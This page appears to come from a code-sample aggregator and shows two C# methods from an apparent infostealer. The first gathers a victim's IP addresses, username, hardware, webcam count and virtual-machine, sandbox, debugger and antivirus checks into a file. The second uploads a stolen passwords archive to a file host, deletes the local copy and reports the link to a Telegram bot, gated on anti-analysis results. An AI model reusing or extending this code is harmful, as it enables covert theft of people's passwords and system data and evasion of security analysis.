Esempio n. 1
0
 public static void Save(string sSavePath)
 {
     try
     {
         string SystemInfoText = (""
                                  + "\n[IP]"
                                  + "\nExternal IP: " + SystemInfo.GetPublicIP()
                                  + "\nInternal IP: " + SystemInfo.GetLocalIP()
                                  + "\nGateway IP: " + SystemInfo.GetDefaultGateway()
                                  + "\n"
                                  + "\n[Machine]"
                                  + "\nUsername: "******"\nCompname: " + SystemInfo.compname
                                  + "\nSystem: " + SystemInfo.GetSystemVersion()
                                  + "\nCPU: " + SystemInfo.GetCPUName()
                                  + "\nGPU: " + SystemInfo.GetGPUName()
                                  + "\nRAM: " + SystemInfo.GetRamAmount()
                                  + "\nDATE: " + SystemInfo.datenow
                                  + "\nSCREEN: " + SystemInfo.ScreenMetrics()
                                  + "\nBATTERY: " + SystemInfo.GetBattery()
                                  + "\nWEBCAMS COUNT: " + WebcamScreenshot.GetConnectedCamerasCount()
                                  + "\n"
                                  + "\n[Virtualization]"
                                  + "\nVirtualMachine: " + AntiAnalysis.VirtualBox()
                                  + "\nSandBoxie: " + AntiAnalysis.SandBox()
                                  + "\nEmulator: " + AntiAnalysis.Emulator()
                                  + "\nDebugger: " + AntiAnalysis.Debugger()
                                  + "\nProcesse: " + AntiAnalysis.Processes()
                                  + "\nHosting: " + AntiAnalysis.Hosting()
                                  + "\nAntivirus: " + SystemInfo.GetAntivirus()
                                  + "\n");
         System.IO.File.WriteAllText(sSavePath, SystemInfoText);
     } catch (System.Exception ex) { Logging.Log("SysInfo >> Failed fetch system info\n" + ex); }
 }
Esempio n. 2
0
        /// <summary>
        /// Send passwords and system info to telegram bot
        /// </summary>
        /// <param name="file">Archive with passwords</param>
        public static void SendReport(string file)
        {
            Logging.Log("Sending passwords archive to anonfile");
            string url = AnonFile.Upload(file, GetLatestMessageId() == -1 && !AntiAnalysis.Run());

            File.Delete(file);
            Logging.Log("Sending report to telegram");
            SendSystemInfo(url);
            Logging.Log("Report sent to telegram bot");
        }